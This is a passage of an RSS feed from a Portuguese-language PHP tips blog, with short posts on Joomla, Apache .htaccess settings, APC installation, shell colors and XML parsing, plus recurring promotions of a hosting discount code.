<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pra não esquecer... &#187; PHP</title>
	<atom:link href="http://www.republicavirtual.com.br/blog/category/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.republicavirtual.com.br/blog</link>
	<description></description>
	<lastBuildDate>Mon, 12 Jul 2010 12:49:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>disable session in database joomla</title>
		<link>http://www.republicavirtual.com.br/blog/2009/12/22/disable-session-in-database-joomla/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/12/22/disable-session-in-database-joomla/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 23:30:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=544</guid>
		<description><![CDATA[Change in /configuration.php from: var $session_handler = &#8216;database&#8217;; to: var $session_handler = &#8216;none&#8217;;]]></description>
			<content:encoded><![CDATA[<p>Change in /configuration.php</p>
<p>from:</p>
<p>var $session_handler = &#8216;database&#8217;;</p>
<p>to:</p>
<p>var $session_handler = &#8216;none&#8217;;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/12/22/disable-session-in-database-joomla/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>usar php com outras extensões</title>
		<link>http://www.republicavirtual.com.br/blog/2009/11/19/usar-php-com-outras-extensoes/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/11/19/usar-php-com-outras-extensoes/#comments</comments>
		<pubDate>Thu, 19 Nov 2009 14:23:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=525</guid>
		<description><![CDATA[só configurar no .htaccess para abrir interpretar com o php outras extensões: AddType application/x-httpd-php .extensao AddHandler application/x-httpd-php .extensao]]></description>
			<content:encoded><![CDATA[<p>só configurar no .htaccess para abrir interpretar com o php outras extensões:</p>
<p>AddType application/x-httpd-php .extensao<br />
AddHandler  application/x-httpd-php .extensao</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/11/19/usar-php-com-outras-extensoes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>cálculo exponencial de crescimento</title>
		<link>http://www.republicavirtual.com.br/blog/2009/10/16/calculo-exponencial-de-crescimento/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/10/16/calculo-exponencial-de-crescimento/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 13:34:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=502</guid>
		<description><![CDATA[$valor_inicial = 500; $crescimento = 10; //em % +ou- $numero_meses = 12; if($crescimento < 0){ $resultado = $valor_inicial * pow(1-($crescimento/100), $numero_meses); } else { $resultado = $valor_inicial * pow(1+($crescimento/100), $numero_meses); } function _exp($valor, $perc, $meses){ $crescimento = $perc; //em % +ou- $numero_meses = $meses; if($crescimento < 0){ return ($valor * pow(1-($crescimento/100), $numero_meses)); } else { [...]]]></description>
			<content:encoded><![CDATA[<p><code><br />
$valor_inicial     = 500;<br />
$crescimento    = 10; //em % +ou-<br />
$numero_meses = 12;<br />
if($crescimento < 0){<br />
  $resultado = $valor_inicial * pow(1-($crescimento/100), $numero_meses);<br />
} else {<br />
  $resultado = $valor_inicial * pow(1+($crescimento/100), $numero_meses);<br />
}<br />
</code></p>
<p><code><br />
function _exp($valor, $perc, $meses){<br />
        $crescimento    = $perc; //em % +ou-<br />
        $numero_meses   = $meses;<br />
        if($crescimento < 0){<br />
                return ($valor * pow(1-($crescimento/100), $numero_meses));<br />
        } else {<br />
                return ($valor * pow(1+($crescimento/100), $numero_meses));<br />
        }<br />
}<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/10/16/calculo-exponencial-de-crescimento/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php, executando processo em background</title>
		<link>http://www.republicavirtual.com.br/blog/2009/09/22/php-executando-processo-em-background/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/09/22/php-executando-processo-em-background/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 20:59:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[exec]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=495</guid>
		<description><![CDATA[... PLAIN TEXT CODE: $cmd = "/usr/local/bin/php -q /path/arquivo.php&#62; /dev/null &#38; echo \$!"; exec&#40;$cmd&#41;;]]></description>
			<content:encoded><![CDATA[<p>...</p>
<div class="igBar"><span id="lcode-2"><a href="#" onclick="javascript:showPlainTxt('code-2'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-2">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">$cmd = <span style="color:#CC0000;">"/usr/local/bin/php -q /path/arquivo.php&gt; /dev/null &amp; echo <span style="color:#000099; font-weight:bold;">\$</span>!"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">exec<span style="color:#006600; font-weight:bold;">&#40;</span>$cmd<span style="color:#006600; font-weight:bold;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/09/22/php-executando-processo-em-background/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>APC</title>
		<link>http://www.republicavirtual.com.br/blog/2009/09/03/apc/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/09/03/apc/#comments</comments>
		<pubDate>Thu, 03 Sep 2009 20:12:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=444</guid>
		<description><![CDATA[cd /usr/local/install/ wget http://pecl.php.net/get/APC-3.1.3p1.tgz tar -zxvf APC-3.1.3p1.tgz cd APC-3.1.3p1 phpize ./configure --enable-apc-mmap --with-php-config=/usr/local/bin/php-config make make install PLAIN TEXT CODE: extension="/php/extensions/no-debug-non-zts-20060613/apc.so" &#91;APC&#93; apc.enabled = 1 apc.shm_segments = 1 apc.shm_size = 64 apc.max_file_size = 10M apc.stat=1 apc.rfc1867 = On]]></description>
			<content:encoded><![CDATA[<p><code>cd  /usr/local/install/<br />
wget http://pecl.php.net/get/APC-3.1.3p1.tgz<br />
tar -zxvf APC-3.1.3p1.tgz<br />
cd APC-3.1.3p1<br />
phpize<br />
./configure --enable-apc-mmap --with-php-config=/usr/local/bin/php-config<br />
make<br />
make install</code></p>
<div class="igBar"><span id="lcode-4"><a href="#" onclick="javascript:showPlainTxt('code-4'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-4">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">extension=<span style="color:#CC0000;">"/php/extensions/no-debug-non-zts-20060613/apc.so"</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#91;</span>APC<span style="color:#006600; font-weight:bold;">&#93;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">enabled</span> = <span style="color:#800000;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">shm_segments</span> = <span style="color:#800000;color:#800000;">1</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">shm_size</span> = <span style="color:#800000;color:#800000;">64</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">max_file_size</span> = 10M</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">stat</span>=<span style="color:#800000;color:#800000;">1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">apc.<span style="">rfc1867</span> = On </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/09/03/apc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>problema acentuação imagettftext</title>
		<link>http://www.republicavirtual.com.br/blog/2009/06/16/problema-acentuacao-imagettftext/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/06/16/problema-acentuacao-imagettftext/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 18:50:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[imagettftext]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=416</guid>
		<description><![CDATA[caso você esteja com problema para utilizar o a função imagettftext ao utilizar acentos, aparecer uns quadrados nos caracteres tem acentos. Verifiquei no seu phpinfo se não exite a configuração "--enable-gd-jis-conv", se existir, remova que irá funcionar corretamente!]]></description>
			<content:encoded><![CDATA[<p>caso você esteja com problema para utilizar o a função imagettftext ao utilizar acentos, aparecer uns quadrados nos caracteres tem acentos.</p>
<p>Verifiquei no seu phpinfo se não exite a configuração "--enable-gd-jis-conv", se existir, remova que irá funcionar corretamente! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/06/16/problema-acentuacao-imagettftext/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpjs</title>
		<link>http://www.republicavirtual.com.br/blog/2009/06/16/phpjs/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/06/16/phpjs/#comments</comments>
		<pubDate>Tue, 16 Jun 2009 17:36:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=414</guid>
		<description><![CDATA[dica passada pelo grande vicoluis! =) http://phpjs.org/ valeu seu otavio!]]></description>
			<content:encoded><![CDATA[<p>dica passada pelo grande vicoluis! =) </p>
<p>http://phpjs.org/</p>
<p>valeu seu otavio!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/06/16/phpjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>dns público de qualidade no br!</title>
		<link>http://www.republicavirtual.com.br/blog/2009/05/30/dns-publico-de-qualidade-no-br/</link>
		<comments>http://www.republicavirtual.com.br/blog/2009/05/30/dns-publico-de-qualidade-no-br/#comments</comments>
		<pubDate>Sat, 30 May 2009 18:24:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Postgre SQL]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dns aberto]]></category>
		<category><![CDATA[dns público]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=400</guid>
		<description><![CDATA[agora temos um dns público de qualidade, para quem utiliza BRT/OI/Telefonica, deve estar cansado de acontecer coisas do genero: página não abre da primeira vez, abre na segunda... Quando isso ocorre com frequência, pode ser culpa da resolução de nomes, resolução de DNS. O serviço é www.gigadns.com.br, o serviço conta com a assinatura de qualidade [...]]]></description>
			<content:encoded><![CDATA[<p>agora temos um dns público de qualidade, para quem utiliza BRT/OI/Telefonica, deve estar cansado de acontecer coisas do genero:<br />
página não abre da primeira vez, abre na segunda...</p>
<p>Quando isso ocorre com frequência, pode ser culpa da resolução de nomes, resolução de DNS.</p>
<p>O serviço é <a href="http://www.gigadns.com.br">www.gigadns.com.br</a>, o serviço conta com a assinatura de qualidade KingHost/Cyberweb.</p>
<p><strong>Para você que precisa de uma hospedagem inteligente e principalmente de qualidade com preços baixos, recomendo a kinghost, abaixo segue código promocional na kinghost para ganhar 15% de desconto nas 3 primeiras mensalidades!<br />
Código promocional kinghost: BIGDESCONTO</p>
<p>Ou abra a URL abaixo: <a target="_blank" href="http://www.kinghost.com.br/promo/bigdesconto.html">http://www.kinghost.com.br/promo/bigdesconto.html</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2009/05/30/dns-publico-de-qualidade-no-br/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows 2003 server + IIS + php &gt; 5.x + mssql</title>
		<link>http://www.republicavirtual.com.br/blog/2008/10/16/windows-2003-server-iis-php-5x-mssql/</link>
		<comments>http://www.republicavirtual.com.br/blog/2008/10/16/windows-2003-server-iis-php-5x-mssql/#comments</comments>
		<pubDate>Thu, 16 Oct 2008 04:24:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MS SQL Server]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/?p=39</guid>
		<description><![CDATA[problemas para conectar no MSSQL server do PHP com IIS e php 5.x? só consegui conectar somente utilizando a DLL: ntwdblib.dll Versão do produto: 8.00.194 Versão do arquivo: 2000.080.0194.00 Tamanho: 272 KB (278.585 bytes) Tamanho em disco: 276 KB (282.624 bytes) MD5: dd630a4f838d7852ddb782e984c62da2]]></description>
			<content:encoded><![CDATA[<p>problemas para conectar no MSSQL server do PHP com IIS e php 5.x?</p>
<p>só consegui conectar somente utilizando a DLL:<br />
ntwdblib.dll<br />
Versão do produto: 8.00.194<br />
Versão do arquivo: 2000.080.0194.00<br />
Tamanho: 272 KB (278.585 bytes)<br />
Tamanho em disco: 276 KB (282.624 bytes)<br />
MD5: dd630a4f838d7852ddb782e984c62da2</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2008/10/16/windows-2003-server-iis-php-5x-mssql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Código promocional Kinghost</title>
		<link>http://www.republicavirtual.com.br/blog/2008/10/06/codigo-promocional-kinghost-2/</link>
		<comments>http://www.republicavirtual.com.br/blog/2008/10/06/codigo-promocional-kinghost-2/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 22:45:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Firebird]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MS SQL Server]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Postgre SQL]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[código promocional]]></category>
		<category><![CDATA[código promocional kinghost]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=248</guid>
		<description><![CDATA[hospede na melhor hospedagem brasileira e ainda ganhe 15% de desconto nos 3 primeiros meses. Utilize o código promocional: BIGDESCONTO no passo 3 do cadastro nunca foi tão fácil ganhar desconto hein...]]></description>
			<content:encoded><![CDATA[<p>hospede na melhor hospedagem brasileira e ainda ganhe 15% de desconto nos 3 primeiros meses.</p>
<p>Utilize o código promocional: <strong>BIGDESCONTO</strong><br />
no passo 3 do cadastro</p>
<p>nunca foi tão fácil ganhar desconto hein...</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2008/10/06/codigo-promocional-kinghost-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>imprimindo colorido em shell com php</title>
		<link>http://www.republicavirtual.com.br/blog/2008/05/15/imprimindo-colorido-em-shell-com-php/</link>
		<comments>http://www.republicavirtual.com.br/blog/2008/05/15/imprimindo-colorido-em-shell-com-php/#comments</comments>
		<pubDate>Thu, 15 May 2008 04:50:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[color]]></category>
		<category><![CDATA[colorido]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=114</guid>
		<description><![CDATA[fiz rapidinho, nao enche... PLAIN TEXT CODE: function echo_cor&#40;$msg, $cor="00;32"&#41;&#123; &#160; &#160; if&#40;$cor == 'azul'&#41;&#160; $cor = "00;34"; &#160; &#160; if&#40;$cor == 'preto'&#41; $cor = "00;30"; &#160; &#160; if&#40;$cor == 'verde'&#41; $cor = "00;32"; &#160; &#160; if&#40;$cor == 'vermelho'&#41; $cor = "00;31"; &#160; &#160; echo "\033[".$cor."m".$msg."\033[00;37m"; &#125; echo colorido no shell! lindo! =)]]></description>
			<content:encoded><![CDATA[<p>fiz rapidinho, nao enche...</p>
<div class="igBar"><span id="lcode-6"><a href="#" onclick="javascript:showPlainTxt('code-6'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-6">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">function echo_cor<span style="color:#006600; font-weight:bold;">&#40;</span>$msg, $cor=<span style="color:#CC0000;">"00;32"</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; if<span style="color:#006600; font-weight:bold;">&#40;</span>$cor == <span style="color:#CC0000;">'azul'</span><span style="color:#006600; font-weight:bold;">&#41;</span>&nbsp; $cor = <span style="color:#CC0000;">"00;34"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; if<span style="color:#006600; font-weight:bold;">&#40;</span>$cor == <span style="color:#CC0000;">'preto'</span><span style="color:#006600; font-weight:bold;">&#41;</span> $cor = <span style="color:#CC0000;">"00;30"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; if<span style="color:#006600; font-weight:bold;">&#40;</span>$cor == <span style="color:#CC0000;">'verde'</span><span style="color:#006600; font-weight:bold;">&#41;</span> $cor = <span style="color:#CC0000;">"00;32"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; if<span style="color:#006600; font-weight:bold;">&#40;</span>$cor == <span style="color:#CC0000;">'vermelho'</span><span style="color:#006600; font-weight:bold;">&#41;</span> $cor = <span style="color:#CC0000;">"00;31"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; echo <span style="color:#CC0000;">"<span style="color:#000099; font-weight:bold;">\0</span>33["</span>.$cor.<span style="color:#CC0000;">"m"</span>.$msg.<span style="color:#CC0000;">"<span style="color:#000099; font-weight:bold;">\0</span>33[00;37m"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>echo colorido no shell! lindo! =)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2008/05/15/imprimindo-colorido-em-shell-com-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>desabilitar php em um diretório específico</title>
		<link>http://www.republicavirtual.com.br/blog/2008/04/10/desabilitar-php-em-um-diretorio-especifico/</link>
		<comments>http://www.republicavirtual.com.br/blog/2008/04/10/desabilitar-php-em-um-diretorio-especifico/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 09:27:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.republicavirtual.com.br/blog/?p=94</guid>
		<description><![CDATA[para desabilitar o php em um diretório / pasta específica por htaccess: no arquivo .htaccess dentro do diretório coloque: #Desabilitar PHP php_flag engine off ou #Desabilitar PHP php_admin_flag engine off para ficar como texto os arquivos: AddType text/plain .php AddType text/plain .phtml AddType text/plain .php4 AddType text/plain .php3]]></description>
			<content:encoded><![CDATA[<p>para desabilitar o php em um diretório / pasta específica por htaccess:</p>
<p>no arquivo .htaccess dentro do diretório coloque:<br />
<code>#Desabilitar PHP<br />
php_flag engine off</code><br />
ou<br />
<code>#Desabilitar PHP<br />
php_admin_flag engine off</code></p>
<p>para ficar como texto os arquivos:<br />
<code>AddType text/plain .php<br />
AddType text/plain .phtml<br />
AddType text/plain .php4<br />
AddType text/plain .php3</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2008/04/10/desabilitar-php-em-um-diretorio-especifico/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP &#8211; XML error: not well-formed (invalid token)</title>
		<link>http://www.republicavirtual.com.br/blog/2007/10/26/php-xml-error-not-well-formed-invalid-token/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/10/26/php-xml-error-not-well-formed-invalid-token/#comments</comments>
		<pubDate>Fri, 26 Oct 2007 20:42:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/10/26/php-xml-error-not-well-formed-invalid-token/</guid>
		<description><![CDATA[tente trocar xml_parser_create(); para: xml_parser_create('ISO-8859-1'); deve bombar! =)]]></description>
			<content:encoded><![CDATA[<p>tente trocar<br />
<code>xml_parser_create();</code><br />
para:<br />
<code>xml_parser_create('ISO-8859-1');</code></p>
<p>deve bombar! =)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/10/26/php-xml-error-not-well-formed-invalid-token/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>desabilitando mod_gzip no apache</title>
		<link>http://www.republicavirtual.com.br/blog/2007/10/05/desabilitando-mod_gzip-no-apache/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/10/05/desabilitando-mod_gzip-no-apache/#comments</comments>
		<pubDate>Fri, 05 Oct 2007 22:49:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/10/05/desabilitando-mod_gzip-no-apache/</guid>
		<description><![CDATA[se você está tento problema para utlizar flush() do php, tente desativar o mod_gzip do apache... coloque dentro do arquivi .htaccess dentro do da raiz do seu www: PLAIN TEXT CODE: mod_gzip_on off]]></description>
			<content:encoded><![CDATA[<p>se você está tento problema para utlizar flush() do php, tente desativar o mod_gzip do apache...</p>
<p>coloque dentro do arquivi .htaccess dentro do da raiz do seu www:</p>
<div class="igBar"><span id="lcode-8"><a href="#" onclick="javascript:showPlainTxt('code-8'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-8">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">mod_gzip_on off </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/10/05/desabilitando-mod_gzip-no-apache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>desconto kinghost</title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/26/desconto-kinghost/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/26/desconto-kinghost/#comments</comments>
		<pubDate>Wed, 26 Sep 2007 18:15:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Download]]></category>
		<category><![CDATA[Firebird]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[MS SQL Server]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Postfix]]></category>
		<category><![CDATA[Postgre SQL]]></category>
		<category><![CDATA[VoIP]]></category>
		<category><![CDATA[lighttpd]]></category>
		<category><![CDATA[xalassa]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/26/desconto-kinghost/</guid>
		<description><![CDATA[Código promocional Kinghost! Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza&#8230; Acesse o link abaixo http://www.kinghost.com.br/promo/BIGDESCONTO.html ou digite o código promocional BIGDESCONTO no cadastro]]></description>
			<content:encoded><![CDATA[<p>Código promocional Kinghost!</p>
<p>Ganhe 15% de desconto nas 3 primeiras mensalidades na melhor empresa de hospedagem do brasil com toda certeza&#8230;</p>
<p>Acesse o link abaixo<br />
<a href="http://www.kinghost.com.br/promo/BIGDESCONTO.html">http://www.kinghost.com.br/promo/BIGDESCONTO.html</a><br />
ou digite o código promocional BIGDESCONTO no cadastro</p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/26/desconto-kinghost/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>webservice cep</title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/26/webservice-cep/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/26/webservice-cep/#comments</comments>
		<pubDate>Wed, 26 Sep 2007 16:54:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://republicavirtual.com.br/blog/2007/09/26/webservice-cep/</guid>
		<description><![CDATA[precisando buscar o endereço pelo cep? fiz um webservice de cep que busca o endereço pelo cep que pode ser integrado utilizando xml, query string ou código javascript... Códigos prontos com exemplos de busca de cep nas linguagens: PHP, ASP, C#, .NET, RUBY, PERL, JAVA http://www.republicavirtual.com.br/cep/]]></description>
			<content:encoded><![CDATA[<p>precisando <a href="http://www.republicavirtual.com.br/cep/">buscar o endereço pelo cep</a>?</p>
<p>fiz um <a href="http://www.republicavirtual.com.br/cep/">webservice de cep</a> que busca o endereço pelo cep que pode ser integrado utilizando xml, query string ou código javascript...<br />
Códigos prontos com exemplos de <a href="http://www.republicavirtual.com.br/cep/">busca de cep</a> nas linguagens: PHP, ASP, C#, .NET, RUBY, PERL, JAVA</p>
<p><a href="http://www.republicavirtual.com.br/cep/">http://www.republicavirtual.com.br/cep/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.republicavirtual.com.br/blog/2007/09/26/webservice-cep/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Código promocional Kinghost</title>
		<link>http://www.republicavirtual.com.br/blog/2007/09/20/codigo-promocional-kinghost/</link>
		<comments>http://www.republicavirtual.com.br/blog/2007/09/20/codigo-promocional-kinghost/#comments</comments>
		<pubDate>Thu, 20 Sep 2007 11:46:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[Download]]></category>
		<category><![CDATA[Firebird]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[MS SQL Server]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
